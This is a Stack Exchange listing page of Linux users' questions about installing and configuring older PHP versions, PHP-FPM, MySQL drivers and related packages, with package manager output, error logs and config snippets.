Sample Header Ad - 728x90

Unix & Linux Stack Exchange

Q&A for users of Linux, FreeBSD and other Unix-like operating systems

Latest Questions

3 votes
1 answers
6799 views
Zabbix install PHP 7 PHP 5.6 conflict on Centos7
I am attempting to install Zabbix 3.2 on Centos7 running PHP7. [Link to the walkthrough][1] The command: yum -y install zabbix-get zabbix-server-mysql zabbix-web-mysql zabbix-agent The output: Loaded plugins: fastestmirror, langpacks, replace Loading mirror speeds from cached hostfile * base: mirror...
I am attempting to install Zabbix 3.2 on Centos7 running PHP7. Link to the walkthrough The command: yum -y install zabbix-get zabbix-server-mysql zabbix-web-mysql zabbix-agent The output: Loaded plugins: fastestmirror, langpacks, replace Loading mirror speeds from cached hostfile * base: mirror.us-midwest-1.nexcess.net * epel: mirror.steadfast.net * extras: mirror.millry.co * ius: dfw.mirror.rackspace.com * updates: repos-va.psychz.net Resolving Dependencies --> Running transaction check ---> Package zabbix-agent.x86_64 0:3.2.6-1.el7 will be installed ---> Package zabbix-get.x86_64 0:3.0.9-1.el7 will be updated ---> Package zabbix-get.x86_64 0:3.2.6-1.el7 will be an update ---> Package zabbix-server-mysql.x86_64 0:3.2.6-1.el7 will be installed ---> Package zabbix-web-mysql.noarch 0:3.2.6-1.el7 will be installed --> Processing Dependency: zabbix-web = 3.2.6-1.el7 for package: zabbix-web-mysql-3.2.6-1.el7.noarch --> Processing Dependency: php-mysql for package: zabbix-web-mysql-3.2.6-1.el7.noarch --> Running transaction check ---> Package php56u-mysqlnd.x86_64 0:5.6.30-2.ius.centos7 will be installed --> Processing Dependency: php56u-pdo(x86-64) = 5.6.30-2.ius.centos7 for package: php56u-mysqlnd-5.6.30-2.ius.centos7.x86_64 ---> Package zabbix-web.noarch 0:3.2.6-1.el7 will be installed --> Processing Dependency: php-gd for package: zabbix-web-3.2.6-1.el7.noarch --> Processing Dependency: php-bcmath for package: zabbix-web-3.2.6-1.el7.noarch --> Processing Dependency: php-ldap for package: zabbix-web-3.2.6-1.el7.noarch --> Running transaction check ---> Package php56u-pdo.x86_64 0:5.6.30-2.ius.centos7 will be installed --> Processing Dependency: php56u-common(x86-64) = 5.6.30-2.ius.centos7 for package: php56u-pdo-5.6.30-2.ius.centos7.x86_64 ---> Package php71u-bcmath.x86_64 0:7.1.6-1.ius.centos7 will be installed --> Processing Dependency: php-common(x86-64) = 7.1.6-1.ius.centos7 for package: php71u-bcmath-7.1.6-1.ius.centos7.x86_64 ---> Package php71u-gd.x86_64 0:7.1.6-1.ius.centos7 will be installed ---> Package php71u-ldap.x86_64 0:7.1.6-1.ius.centos7 will be installed --> Running transaction check ---> Package php56u-common.x86_64 0:5.6.30-2.ius.centos7 will be installed --> Processing Dependency: php56u-pecl-jsonc(x86-64) for package: php56u-common-5.6.30-2.ius.centos7.x86_64 ---> Package php71u-common.x86_64 0:7.1.6-1.ius.centos7 will be installed --> Running transaction check ---> Package php56u-pecl-jsonc.x86_64 0:1.3.10-2.ius.centos7 will be installed --> Processing Dependency: php56u-pear for package: php56u-pecl-jsonc-1.3.10-2.ius.centos7.x86_64 --> Processing Dependency: php56u-pear for package: php56u-pecl-jsonc-1.3.10-2.ius.centos7.x86_64 --> Running transaction check ---> Package php56u-pear.noarch 1:1.10.4-1.ius.centos7 will be installed --> Processing Dependency: php56u-cli for package: 1:php56u-pear-1.10.4-1.ius.centos7.noarch --> Processing Dependency: php56u-posix for package: 1:php56u-pear-1.10.4-1.ius.centos7.noarch --> Processing Dependency: php56u-xml for package: 1:php56u-pear-1.10.4-1.ius.centos7.noarch --> Running transaction check ---> Package php56u-cli.x86_64 0:5.6.30-2.ius.centos7 will be installed ---> Package php56u-process.x86_64 0:5.6.30-2.ius.centos7 will be installed ---> Package php56u-xml.x86_64 0:5.6.30-2.ius.centos7 will be installed --> Processing Conflict: php70u-cli-7.0.19-1.ius.centos7.x86_64 conflicts php-cli Restarting Dependency Resolution with new changes. --> Running transaction check ---> Package php70u-cli.x86_64 0:7.0.19-1.ius.centos7 will be updated ---> Package php70u-cli.x86_64 0:7.0.20-1.ius.centos7 will be an update --> Processing Dependency: php-common(x86-64) = 7.0.20-1.ius.centos7 for package: php70u-cli-7.0.20-1.ius.centos7.x86_64 --> Running transaction check ---> Package php70u-common.x86_64 0:7.0.19-1.ius.centos7 will be updated --> Processing Dependency: php-common(x86-64) = 7.0.19-1.ius.centos7 for package: mod_php70u-7.0.19-1.ius.centos7.x86_64 --> Processing Dependency: php-common(x86-64) = 7.0.19-1.ius.centos7 for package: php70u-mbstring-7.0.19-1.ius.centos7.x86_64 --> Processing Dependency: php-common(x86-64) = 7.0.19-1.ius.centos7 for package: php70u-mcrypt-7.0.19-1.ius.centos7.x86_64 --> Processing Dependency: php-common(x86-64) = 7.0.19-1.ius.centos7 for package: php70u-pdo-7.0.19-1.ius.centos7.x86_64 --> Processing Dependency: php-common(x86-64) = 7.0.19-1.ius.centos7 for package: php70u-xml-7.0.19-1.ius.centos7.x86_64 --> Processing Dependency: php-common(x86-64) = 7.0.19-1.ius.centos7 for package: php70u-json-7.0.19-1.ius.centos7.x86_64 ---> Package php70u-common.x86_64 0:7.0.20-1.ius.centos7 will be an update --> Running transaction check ---> Package mod_php70u.x86_64 0:7.0.19-1.ius.centos7 will be updated ---> Package mod_php70u.x86_64 0:7.0.20-1.ius.centos7 will be an update ---> Package php70u-json.x86_64 0:7.0.19-1.ius.centos7 will be updated ---> Package php70u-json.x86_64 0:7.0.20-1.ius.centos7 will be an update ---> Package php70u-mbstring.x86_64 0:7.0.19-1.ius.centos7 will be updated ---> Package php70u-mbstring.x86_64 0:7.0.20-1.ius.centos7 will be an update ---> Package php70u-mcrypt.x86_64 0:7.0.19-1.ius.centos7 will be updated ---> Package php70u-mcrypt.x86_64 0:7.0.20-1.ius.centos7 will be an update ---> Package php70u-pdo.x86_64 0:7.0.19-1.ius.centos7 will be updated --> Processing Dependency: php-pdo(x86-64) = 7.0.19-1.ius.centos7 for package: php70u-mysqlnd-7.0.19-1.ius.centos7.x86_64 ---> Package php70u-pdo.x86_64 0:7.0.20-1.ius.centos7 will be an update ---> Package php70u-xml.x86_64 0:7.0.19-1.ius.centos7 will be updated ---> Package php70u-xml.x86_64 0:7.0.20-1.ius.centos7 will be an update --> Running transaction check ---> Package php70u-mysqlnd.x86_64 0:7.0.19-1.ius.centos7 will be updated ---> Package php70u-mysqlnd.x86_64 0:7.0.20-1.ius.centos7 will be an update --> Processing Conflict: php71u-common-7.1.6-1.ius.centos7.x86_64 conflicts php-common Processing Conflict: php71u-common-7.1.6-1.ius.centos7.x86_64 conflicts php-common Processing Conflict: php71u-common-7.1.6-1.ius.centos7.x86_64 conflicts php56u-common --> Processing Conflict: php71u-common-7.1.6-1.ius.centos7.x86_64 conflicts php70u-common --> Processing Conflict: php70u-common-7.0.20-1.ius.centos7.x86_64 conflicts php-common Processing Conflict: php70u-common-7.0.20-1.ius.centos7.x86_64 conflicts php56u-common --> Processing Conflict: php70u-cli-7.0.20-1.ius.centos7.x86_64 conflicts php-cli Processing Conflict: php70u-json-7.0.20-1.ius.centos7.x86_64 conflicts php-json Processing Conflict: php70u-mysqlnd-7.0.20-1.ius.centos7.x86_64 conflicts php-mysql Processing Conflict: php70u-mysqlnd-7.0.20-1.ius.centos7.x86_64 conflicts php-mysqlnd Processing Conflict: php70u-pdo-7.0.20-1.ius.centos7.x86_64 conflicts php-pdo Processing Conflict: php70u-xml-7.0.20-1.ius.centos7.x86_64 conflicts php-xml Finished Dependency Resolution Error: php71u-common conflicts with php56u-common-5.6.30-2.ius.centos7.x86_64 Error: php70u-xml conflicts with php56u-xml-5.6.30-2.ius.centos7.x86_64 Error: php71u-common conflicts with php70u-common-7.0.20-1.ius.centos7.x86_64 Error: php70u-mysqlnd conflicts with php56u-mysqlnd-5.6.30-2.ius.centos7.x86_64 Error: php70u-cli conflicts with php56u-cli-5.6.30-2.ius.centos7.x86_64 Error: php70u-pdo conflicts with php56u-pdo-5.6.30-2.ius.centos7.x86_64 Error: php70u-common conflicts with php56u-common-5.6.30-2.ius.centos7.x86_64 Error: php70u-json conflicts with php56u-pecl-jsonc-1.3.10-2.ius.centos7.x86_64 Attempted to fix using yum-plugin-replace commands For example: yum replace php56u-common --replace-with php71u-common got this output: Loaded plugins: fastestmirror, langpacks, replace Replacing packages takes time, please be patient... Error: Package 'php56u-common' is not installed. also tried (per this link) : yum replace php-common --replace-with php71u-common and got this output: Loaded plugins: fastestmirror, langpacks, replace Replacing packages takes time, please be patient... Error: Package 'php-common' is not installed I noticed these php56 packages were not installed when doing a yum list installed, but do show up when doing a yum list available. Any insight on how to fix this is appreciated.
Kayne Khoury (39 rep)
Jun 27, 2017, 03:55 PM • Last activity: Jul 24, 2025, 09:07 AM
0 votes
2 answers
3205 views
Is there any way to install MySQL 5.1 and PHP 5.3 on Centos 7
Is there any way to install MySQL 5.1 and PHP 5.3 on Centos 7. I researched a lot but could not find any link which gives step by step procedure. Can someone please give me steps to be followed to install these .
Is there any way to install MySQL 5.1 and PHP 5.3 on Centos 7. I researched a lot but could not find any link which gives step by step procedure. Can someone please give me steps to be followed to install these .
Nikhil Babu (101 rep)
Feb 2, 2015, 08:36 AM • Last activity: May 26, 2025, 07:03 PM
1 votes
3 answers
2083 views
Yum install php v5.4 packages while I have installed php 7
I have installed PHP version 7 on my centOs. Now I got an error says: > undefined function mb_internal_encoding() So I decided to install php-mbstring (using `yum install php-mbstring`) but I face the following error: > Error: php70u-common conflicts with php-common-5.4.16-43.el7_4.x86_64 > > Error:...
I have installed PHP version 7 on my centOs. Now I got an error says: > undefined function mb_internal_encoding() So I decided to install php-mbstring (using yum install php-mbstring) but I face the following error: > Error: php70u-common conflicts with php-common-5.4.16-43.el7_4.x86_64 > > Error: php70u-json conflicts with php-common-5.4.16-43.el7_4.x86_64 But now when I install php-mbstring, it wants to install php-mbstring version 5.4. How can I tell yum to download latest versions of php extensions and packages?
Leo (111 rep)
Jan 8, 2018, 06:13 AM • Last activity: Apr 21, 2025, 12:05 AM
0 votes
2 answers
5520 views
Checking for freetype2 configure error when installing PHP 5.6.37 from AUR
I'm trying to install PHP version 5.6.37 from [AUR][1] using `makepkg -i` command, but when it reaches the moment to check for the "freetype2" it displays the error: > checking for freetype2... configure: error: freetype-config not found. I already have 7.2 installed, but I need the 5.6 for an older...
I'm trying to install PHP version 5.6.37 from AUR using makepkg -i command, but when it reaches the moment to check for the "freetype2" it displays the error: > checking for freetype2... configure: error: freetype-config not found. I already have 7.2 installed, but I need the 5.6 for an older project, and as in Ubuntu, I intend to have both installed. makepkg -i ==> Making package: php56 5.6.37-1 (Wed 12 Sep 2018 12:27:39 PM +08) ==> Checking runtime dependencies... ==> Checking buildtime dependencies... ==> Retrieving sources... -> Found php-5.6.37.tar.xz -> Found php-5.6.37.tar.xz.asc -> Found php.ini.patch -> Found apache.conf -> Found php-fpm.conf.in.patch -> Found logrotate.d.php-fpm -> Found php-fpm.service -> Found php-fpm.tmpfiles -> Found use-enchant2.patch -> Found php-freetype-2.9.1.patch ==> Validating source files with sha512sums... [...] checking whether to enable truetype string function in GD... yes checking whether to enable JIS-mapped Japanese font support in GD... no If configure fails try --with-vpx-dir= checking for jpeg_read_header in -ljpeg... yes checking for png_write_image in -lpng... yes checking for XpmFreeXpmImage in -lXpm... yes checking for pkg-config... (cached) no checking for freetype2... configure: error: freetype-config not found. ==> ERROR: A failure occurred in build(). Aborting... Installing freetype2 with Pacman didn't solve it.
user120282
Sep 12, 2018, 04:43 AM • Last activity: Apr 16, 2025, 07:00 PM
5 votes
4 answers
6528 views
Can't finish php5-cli update
I get the following error after doing `sudo apt-get upgrade`: Setting up php5-cli (5.5.9+dfsg-1ubuntu4.6) ... ucfr: Attempt from package php5-cli to take /etc/php5/cli/php.ini away from package php5-fpm ucfr: Aborting. dpkg: error processing package php5-cli (--configure): subprocess installed post-...
I get the following error after doing sudo apt-get upgrade: Setting up php5-cli (5.5.9+dfsg-1ubuntu4.6) ... ucfr: Attempt from package php5-cli to take /etc/php5/cli/php.ini away from package php5-fpm ucfr: Aborting. dpkg: error processing package php5-cli (--configure): subprocess installed post-installation script returned error exit status 4 dpkg: dependency problems prevent configuration of php5-readline: php5-readline depends on php5-cli (= 5.5.9+dfsg-1ubuntu4.6); however: Package php5-cli is not configured yet. dpkg: error processing package php5-readline (--configure): dependency problems - leaving unconfigured No apport report written because the error message indicates its a followup error from a previous failure. dpkg: dependency problems prevent configuration of php-pear: php-pear depends on php5-cli; however: Package php5-cli is not configured yet. dpkg: error processing package php-pear (--configure): dependency problems - leaving unconfigured No apport report written because the error message indicates its a followup error from a previous failure. Setting up php5 (5.5.9+dfsg-1ubuntu4.6) ... Errors were encountered while processing: php5-cli php5-readline php-pear E: Sub-process /usr/bin/dpkg returned an error code (1) After that, I tried sudo apt-get install -f, sudo dpkg --configure -a and sudo apt-get install --reinstall php5, all of them with the same error. How can I fixed this?
jherran (4039 rep)
Feb 19, 2015, 08:14 PM • Last activity: Aug 23, 2023, 04:35 PM
1 votes
1 answers
2887 views
Allow user to run PHP-FPM without password using sudoers
I'm trying to make it so a user can reload PHP-FPM without needing a password everytime. I've added the following to the /etc/sudoers file using *pkexec visudo*, and there are no syntax errors, but it is still not working, any ideas? Defaults exempt_group=forge User_Alias FORGE = forge Cmnd_Alias FO...
I'm trying to make it so a user can reload PHP-FPM without needing a password everytime. I've added the following to the /etc/sudoers file using *pkexec visudo*, and there are no syntax errors, but it is still not working, any ideas? Defaults exempt_group=forge User_Alias FORGE = forge Cmnd_Alias FORGE_COMMANDS = /usr/sbin/service php-fpm * FORGE ALL = (ALL) NOPASSWD: FORGE_COMMANDS I've hunted everywhere and this seems to be a common problem of getting it to work, but each question doesn't seem to have an answer, or one that works for me. Using CentOS 7. Thanks. ---------- When using sudo -u I get the following: *==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units === Authentication is required to manage system services or units. Multiple identities can be used for authentication:* I can then proceed as normal, but the point is for forge to be able to do this without requiring authentication.
Seán McCabe (129 rep)
Sep 19, 2017, 04:22 AM • Last activity: Nov 18, 2021, 05:00 PM
1 votes
1 answers
565 views
Need to enable gd for an older version of PHP
The PHP version is 5.6, so quite old. Using `apt-get install php5-gd` won't work any more. I can locate these `gd.so`: /usr/lib/php/20151012/gd.so /usr/lib/x86_64-linux-gnu/libgd.so.3 -- links to 3.0.0 below /usr/lib/x86_64-linux-gnu/libgd.so.3.0.0 To enable `gd`, I think I have to set up one of the...
The PHP version is 5.6, so quite old. Using apt-get install php5-gd won't work any more. I can locate these gd.so: /usr/lib/php/20151012/gd.so /usr/lib/x86_64-linux-gnu/libgd.so.3 -- links to 3.0.0 below /usr/lib/x86_64-linux-gnu/libgd.so.3.0.0 To enable gd, I think I have to set up one of these in mods_available, mods_enabled, etc. I'm guessing I'll need an alias gd.so in a common place which links to one of the above, but where to put it, and which one to link to? Is there a step-by-step guide on manually setting this up?
Yimin Rong (953 rep)
Oct 14, 2021, 01:34 PM • Last activity: Oct 14, 2021, 07:03 PM
0 votes
1 answers
1243 views
Is there a distro specific to the LAMP stack?
I tried real hard to get LAMP stack working on my pop_os home pc, but could not get it working. Is there a distro in existence with the LAMP stack preinstalled which I can just add WordPress on top of. If possible I want to have my regular linux os that I use most of the time and this os that I load...
I tried real hard to get LAMP stack working on my pop_os home pc, but could not get it working. Is there a distro in existence with the LAMP stack preinstalled which I can just add WordPress on top of. If possible I want to have my regular linux os that I use most of the time and this os that I load on a dual-boot setup when I need to work with wordpress. I would much prefer a setup like this than, than one with windows.
Neil Meyer (149 rep)
Feb 11, 2021, 06:01 AM • Last activity: Feb 11, 2021, 08:40 AM
3 votes
1 answers
2272 views
Replacement for php5-auth-pam to authenticate website login against local users
I am working on a login for a PHP-based website where users should be successfully logged in if they enter a valid username and password for a local account on the system. Looking around, it seems like the traditional way of doing this was by using the [PHP PAM module][1]. Unfortunately, it looks li...
I am working on a login for a PHP-based website where users should be successfully logged in if they enter a valid username and password for a local account on the system. Looking around, it seems like the traditional way of doing this was by using the PHP PAM module . Unfortunately, it looks like this module is now deprecated and I am no longer able to install it with apt-get install php5-pam-auth in Ubuntu Server 14.04. I was able to forcefully install it with pecl install pam, but even then it still doesn't work because using it requires a call-time pass by reference like this: if ( pam_auth( $uname, $pswd, &$error ) ) { echo "You are authenticated!" } ...which results in PHP complaining that call-time pass by reference is also deprecated: [Fri Jul 24 01:25:35.788680 2015] [:error] [pid 25328] [client xx.xxx.xx.xx:1179] PHP Fatal error: Call-time pass-by-reference has been removed in /var/www/academies/phptest/login.php on line 7, referer: http://:81/phptest/ Is there an updated or alternative way to do this? I did find this answer to a similar question but I couldn't get the C code to compile; it gave me the following error: pam.c: In function ‘authenticate’: pam.c:63:9: error: expected declaration or statement at end of input return ( retval == PAM_SUCCESS ? 0:1 ); ^ According to phpinfo(), I am running PHP version 5.5.9-1ubuntu4.11.
tlng05 (141 rep)
Jul 24, 2015, 01:31 AM • Last activity: May 21, 2020, 08:00 AM
3 votes
2 answers
11146 views
Getting Minor Version Mismatch Error with Php and Mysql
I randomly started getting this error when trying to instantiate a `new mysqli` instance in php script: > mysqli::mysqli(): Headers and client library minor version mismatch. > Headers:50541 Library:50626 I'm a little bit confused because when I run `sudo yum list installed`, the versions look to be...
I randomly started getting this error when trying to instantiate a new mysqli instance in php script: > mysqli::mysqli(): Headers and client library minor version mismatch. > Headers:50541 Library:50626 I'm a little bit confused because when I run sudo yum list installed, the versions look to be the same. Either way, running sudo yum update does nothing to actually update the packages. Here is the output for sudo yum list installed(just php packages): php.x86_64 5.4.16-36.el7_1 @updates php-cli.x86_64 5.4.16-36.el7_1 @updates php-common.x86_64 5.4.16-36.el7_1 @updates php-devel.x86_64 5.4.16-36.el7_1 @updates php-mbstring.x86_64 5.4.16-36.el7_1 @updates php-mcrypt.x86_64 5.4.16-3.el7 @epel php-mssql.x86_64 5.4.16-3.el7 @epel php-mysql.x86_64 5.4.16-36.el7_1 @updates php-pdo.x86_64 5.4.16-36.el7_1 @updates php-soap.x86_64 5.4.16-36.el7_1 @updates I am using CentOS Linux release 7.1.1503 (Core), PHP 5.4.16 and 5.6.26 MySQL Community Server. I saw on other answers to this question that you can install the php-mysqlnd driver, but that driver isn't listed under yum's packages. Here are the php packages I can install through yum: php.x86_64 5.4.16-36.el7_1 @updates php-cli.x86_64 5.4.16-36.el7_1 @updates php-common.x86_64 5.4.16-36.el7_1 @updates php-devel.x86_64 5.4.16-36.el7_1 @updates php-mbstring.x86_64 5.4.16-36.el7_1 @updates php-mcrypt.x86_64 5.4.16-3.el7 @epel php-mssql.x86_64 5.4.16-3.el7 @epel php-mysql.x86_64 5.4.16-36.el7_1 @updates php-pdo.x86_64 5.4.16-36.el7_1 @updates php-soap.x86_64 5.4.16-36.el7_1 @updates Anybody know how I can resolve this issue? I don't know why this would randomly crop up like this. The scripts were working before I left for the weekend on Friday and, so far as I know, nothing has changed.
MrWizdl (61 rep)
Aug 4, 2015, 02:29 PM • Last activity: May 3, 2020, 03:50 PM
0 votes
1 answers
1162 views
can't write file on php
I am trying to create a file in the /tmp directory and unable to. It won't even let me create a file in the same dir I am in (/var/www/html). I believe I dont have the correct setting on my php.ini, but I dont know what I need to change to make this work. My OS is CentOS7 and I am running Apache wit...
I am trying to create a file in the /tmp directory and unable to. It won't even let me create a file in the same dir I am in (/var/www/html). I believe I dont have the correct setting on my php.ini, but I dont know what I need to change to make this work. My OS is CentOS7 and I am running Apache with php 5.4.16. I do have read/write on /var/www/html and the user/group is set to apache. Below is just a generic code to write a file which is not working, I keep getting "Unable to open file" $myfile = fopen("newfile.txt", "w") or die("Unable to open file!"); $txt = "John Doe\n"; fwrite($myfile, $txt); fclose($myfile);
user2236794 (221 rep)
Jan 8, 2020, 08:44 PM • Last activity: Jan 10, 2020, 10:40 AM
0 votes
0 answers
295 views
Debian Stretch + Apache 2.4 + PHP 5.6 + PHP 7.0 and virtual hosts
I have a little Debian 9 server with Apache 2.4 installed. I need it to serve my home with a Nextcloud service, which requires PHP7.0. Then I also need to get it to serve a rather old service (http://www.refbase.net), that requires PHP5.6. I'm no Apache expert and all I want, is to simply serve thes...
I have a little Debian 9 server with Apache 2.4 installed. I need it to serve my home with a Nextcloud service, which requires PHP7.0. Then I also need to get it to serve a rather old service (http://www.refbase.net) , that requires PHP5.6. I'm no Apache expert and all I want, is to simply serve these two services for internal family use. Reading about, I seem to understand that this can be achieved by using the PHP5-FPM and PHP7.0-FPM services? I have both installed: user@server:/$ sudo systemctl status php5-fpm [sudo] password of user: ● php5-fpm.service - The PHP FastCGI Process Manager Loaded: loaded (/lib/systemd/system/php5-fpm.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2019-11-05 22:08:08 GMT; 3 days ago and then: user@server:~$ sudo systemctl status php7.0-fpm ● php7.0-fpm.service - The PHP 7.0 FastCGI Process Manager Loaded: loaded (/lib/systemd/system/php7.0-fpm.service; enabled; vendor preset: enabled) Active: active (running) since Sat 2019-11-09 16:48:14 GMT; 59min ago I've also got these installed: sudo apt install libapache2-mod-fcgid sudo a2enmod actions fcgid alias proxy_fcgi So I created two folders in /var/www/ that are php56 and php70 with the idea of configuring two different virtual hosts. ServerName php56.example.com DocumentRoot /var/www/php56 Options -Indexes +FollowSymLinks +MultiViews AllowOverride All Require all granted # Apache 2.4.10+ can proxy to unix socket SetHandler "proxy:unix:/var/run/php/php5.6-fpm.sock|fcgi://localhost/" and then: ServerName php72.example.com DocumentRoot /var/www/php70 Options -Indexes +FollowSymLinks +MultiViews AllowOverride All Require all granted SetHandler "proxy:unix:/var/run/php/php7.0-fpm.sock|fcgi://localhost/" I created two files in the respective www directories created above: echo "" > /var/www/php56/index.php echo "" > /var/www/php70/index.php Both virtual sites are enabled but when I go to test them, they both show PHP 7.0 being enabled. When checking in the /var/run/php/ folder, I can only see the 7.0 FPM sock an pid files. **update-alternatives** has PHP7.0 activated by default. Any clues as to how I can serve both PHP versions at the same time so I can get both services running? Thanks
MiniTux (81 rep)
Nov 9, 2019, 05:58 PM
2 votes
1 answers
544 views
php-fpm56 reaches timeout when run with systemd centos7
I compiled my own PHP 5.6.40 (with fpm) with ICU4C 64_2 on CentOS 7 using the following flags: ``` ./configure CXXFLAGS="-std=c++11 -DU_USING_ICU_NAMESPACE=1" \ --prefix=/usr/local/php56 \ --program-suffix=56 \ --enable-fpm \ --with-config-file-scan-dir=/usr/local/php56/lib/php.conf.d \ --with-curl...
I compiled my own PHP 5.6.40 (with fpm) with ICU4C 64_2 on CentOS 7 using the following flags:
./configure CXXFLAGS="-std=c++11 -DU_USING_ICU_NAMESPACE=1" \
        --prefix=/usr/local/php56 \
        --program-suffix=56 \
        --enable-fpm \
        --with-config-file-scan-dir=/usr/local/php56/lib/php.conf.d \
        --with-curl \
        --with-gd \
        --enable-gd-native-ttf \
        --with-gettext \
        --with-jpeg-dir=/usr/local/lib \
        --with-freetype-dir=/usr/local/lib \
        --with-libxml-dir=/usr/local/lib \
        --with-kerberos \
        --with-openssl \
        --with-mcrypt \
        --with-mhash \
        --with-mysql=mysqlnd \
        --with-mysql-sock=/var/lib/mysql/mysql.sock \
        --with-mysqli=mysqlnd \
        --with-pdo-mysql=mysqlnd \
        --with-pear \
        --with-png-dir=/usr/local/lib \
        --with-xsl \
        --with-zlib \
        --enable-zip \
        --with-iconv=/usr/local \
        --enable-bcmath \
        --enable-calendar \
        --enable-exif \
        --enable-ftp \
        --enable-sockets \
        --enable-soap \
        --enable-mbstring \
        --with-icu-dir=/usr/local/icu \
        --enable-intl
Compiling and installing the program yields a success and php is working perfectly. In order to handle the php-fpm56 using systemd I build the following service file:
[Unit]
Description=The PHP FastCGI Process Manager
After=syslog.target network.target

[Service]
Type=notify
PIDFile=/run/php-fpm56.pid
ExecStart=/usr/local/php56/sbin/php-fpm56 --nodaemonize --pid=/run/php-fpm56.pid --fpm-config /usr/local/php56/etc/php-fpm.conf
ExecReload=/bin/kill -USR2 $MAINPID
LimitMEMLOCK=infinity
LimitNOFILE=65535

PrivateTmp=true
PrivateDevices=true
ProtectKernelModules=true
ProtectKernelTunables=true
ProtectControlGroups=true
RestrictRealtime=true
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX

[Install]
WantedBy=multi-user.target
/usr/local/php56/etc/php-fpm.conf :
[global]
error_log = /var/log/php-fpm56.log
emergency_restart_threshold = 3
emergency_restart_interval = 1m
process_control_timeout = 5

log_level = notice

;;;;;;;;;;;;;;;;;;;;
; Pool Definitions ;
;;;;;;;;;;;;;;;;;;;;

[webapps]
user = $pool
group = $pool

listen = /usr/local/php56/sockets/$pool.sock
listen.owner = $pool
listen.group = nginx
listen.mode = 660

pm = ondemand
pm.max_children = 10
pm.process_idle_timeout = 60
pm.max_requests = 1000

security.limit_extensions = .php .php5 .php56 .inc .phtml

include=/etc/booting/users_data/*/php-fpm56.conf
Trying to start the service leads to a timeout:
php-fpm56.service - The PHP FastCGI Process Manager
   Loaded: loaded (/usr/lib/systemd/system/php-fpm56.service; enabled; vendor preset: disabled)
   Active: failed (Result: timeout) since Sun 2019-10-27 14:00:17 IST; 2min 12s ago
  Process: 10008 ExecStart=/usr/local/php56/sbin/php-fpm56 --nodaemonize --pid=/run/php-fpm56.pid --fpm-config /usr/local/php56/etc/php-fpm.conf (code=exited, status=0/SUCCESS)
 Main PID: 10008 (code=exited, status=0/SUCCESS)

Oct 27 13:58:47 asdasd.booting.cloud systemd: Starting The PHP FastCGI Process Manager...
Oct 27 13:58:47 asdasd.booting.cloud php-fpm56: [27-Oct-2019 13:58:47] WARNING: Nothing matches the include pattern '/etc/booting/users_data/*/php-fpm56.conf' from /usr/local/php56/etc/php-fpm.conf at line 29.
systemd: php-fpm56.service start operation timed out. Terminating.
systemd: Failed to start The PHP FastCGI Process Manager.
systemd: Unit php-fpm56.service entered failed state.
systemd: php-fpm56.service failed.
log file:
NOTICE: fpm is running, pid 10008
NOTICE: ready to handle connections
NOTICE: Terminating ...
NOTICE: exiting, bye-bye!
I need help with figuring out what can be the cause of this failed start. I did the same configurations with php7.2 and it works for me without any problems.
ikak (31 rep)
Oct 27, 2019, 12:07 PM • Last activity: Oct 27, 2019, 01:51 PM
0 votes
0 answers
1419 views
How to install laravel on xampp?
I'm using the latest version of manjaro 64 bit and latest version of xampp. I want to install composer and laravel; I tried many solutions on stackoverflow and askubuntu. Every time I see a different error, like openssl and phar are missing and stuff like that. But in fact nothing is missing; I enab...
I'm using the latest version of manjaro 64 bit and latest version of xampp. I want to install composer and laravel; I tried many solutions on stackoverflow and askubuntu. Every time I see a different error, like openssl and phar are missing and stuff like that. But in fact nothing is missing; I enabled them from php.ini So are there any manjaro user/archer who got Laravel to work on xampp? How? **Edit** php -i | grep ini outputs ▶ php -i | grep ini PHP Warning: PHP Startup: Unable to load dynamic library '/opt/lampp/lib/php/extensions/no-debug-non-zts-20151012/mcrypt.dll' - /opt/lampp/lib/php/extensions/no-debug-non-zts-20151012/mcrypt.dll: cannot open shared object file: No such file or directory in Unknown on line 0 PHP Warning: PHP Startup: Unable to load dynamic library '/opt/lampp/lib/php/extensions/no-debug-non-zts-20151012/php_openssl.dll' - /opt/lampp/lib/php/extensions/no-debug-non-zts-20151012/php_openssl.dll: cannot open shared object file: No such file or directory in Unknown on line 0 PHP Warning: PHP Startup: Unable to load dynamic library '/opt/lampp/lib/php/extensions/no-debug-non-zts-20151012/php_phar.dll' - /opt/lampp/lib/php/extensions/no-debug-non-zts-20151012/php_phar.dll: cannot open shared object file: No such file or directory in Unknown on line 0 Configuration File (php.ini) Path => /opt/lampp/etc Loaded Configuration File => /opt/lampp/etc/php.ini Scan this dir for additional .ini files => (none) Additional .ini files parsed => (none) user_ini.cache_ttl => 300 => 300 user_ini.filename => .user.ini => .user.ini Supported handlers => gdbm cdb cdb_make inifile flatfile init_command_executed_count => 0 init_command_failed_count => 0 com_init_db => 0 Classes => AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException open sourced by => Epinions.com PHPRC => /opt/lampp/etc/php.ini $_SERVER['PHPRC'] => /opt/lampp/etc/php.ini 1. This is exactly how I installed composer. I did what both answers said 2. My /opt/lampp/etc/php.ini as you can see, everything needed is loaded. 3. This php-mcrypt is installed , it comes with its own php version but I'm not using that, I'm using Xampp's version 4. I'm using newest version of xampp 64 bit, the one that comes with PHP 7, same issue with previous versions. 5. In my zshrc I have > export PHPRC=/opt/lampp/etc/php.ini > export PATH=$PATH:/opt/lampp/bin If I manage to correctly load openssl, mcrypt and phar, I think all my problems will be solved. Composer seems to install without problems but issues start to pop up when I install laravel. It also installs without problems but displays warnings shown above.
Lynob (4434 rep)
Dec 21, 2015, 08:07 AM • Last activity: Aug 16, 2019, 12:48 AM
0 votes
1 answers
611 views
I've been seeing a lot of this in my Apache access log
